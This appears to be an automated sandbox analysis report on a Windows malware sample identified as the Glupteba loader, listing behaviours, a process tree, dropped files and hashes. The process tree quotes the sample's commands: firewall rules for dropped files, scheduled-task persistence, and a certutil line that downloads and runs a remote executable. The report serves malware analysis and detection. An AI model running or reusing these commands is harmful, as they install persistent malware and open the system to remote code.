Analysis

  • max time kernel
    144s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/06/2024, 22:21

General

  • Target
    8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
  • Size 3.8MB
  • Sample240601-19rxgshd53
  • SHA256 92f658b313e509147deebb1f168ee8cc1e979c9abc1be9000025ac3e10e7e8bf
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 18 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:512
    • C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4352
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\fe34be23e474\fe34be23e474\fe34be23e474.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3632
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\fe34be23e474\fe34be23e474\fe34be23e474.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:1504
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3556
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:116
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4372
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:1548
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:5104
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:3756
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1340
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4356,i,4686244434963378549,11462511444150484980,262144 --variations-seed-version --mojo-platform-channel-handle=1040 /prefetch:8
    1⤵
      PID:2268

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          patch.exe

          • Path C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          • Size 1.7MB
          • SHA256 f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
          • MD5 SHA1 SHA512 SSDEEP

          csrss.exe

          • Path C:\Windows\rss\csrss.exe
          • Size 3.8MB
          • SHA256 92f658b313e509147deebb1f168ee8cc1e979c9abc1be9000025ac3e10e7e8bf
          • MD5 SHA1 SHA512 SSDEEP

          memory/512-4-0x0000000000400000-0x000000000313B000-memory.dmp

          memory/512-5-0x0000000000400000-0x0000000000B10000-memory.dmp

          memory/512-6-0x0000000003AD0000-0x00000000041C6000-memory.dmp

          memory/512-1-0x0000000003720000-0x0000000003ACA000-memory.dmp

          memory/512-3-0x0000000000400000-0x0000000000B10000-memory.dmp

          memory/512-2-0x0000000003AD0000-0x00000000041C6000-memory.dmp

          memory/4352-8-0x0000000000400000-0x000000000313B000-memory.dmp

          memory/4352-9-0x0000000000400000-0x000000000313B000-memory.dmp

          memory/4352-14-0x0000000000400000-0x000000000313B000-memory.dmp

          memory/4372-19-0x0000000000400000-0x000000000313B000-memory.dmp

          memory/4372-20-0x0000000000400000-0x000000000313B000-memory.dmp

          memory/4372-21-0x0000000000400000-0x000000000313B000-memory.dmp

          memory/4372-22-0x0000000000400000-0x000000000313B000-memory.dmp

          memory/4372-23-0x0000000000400000-0x000000000313B000-memory.dmp

          memory/4372-25-0x0000000000400000-0x000000000313B000-memory.dmp

          memory/4372-26-0x0000000000400000-0x000000000313B000-memory.dmp

          memory/4372-27-0x0000000000400000-0x000000000313B000-memory.dmp

          memory/4372-29-0x0000000000400000-0x000000000313B000-memory.dmp

          memory/4372-30-0x0000000000400000-0x000000000313B000-memory.dmp

          memory/4372-31-0x0000000000400000-0x000000000313B000-memory.dmp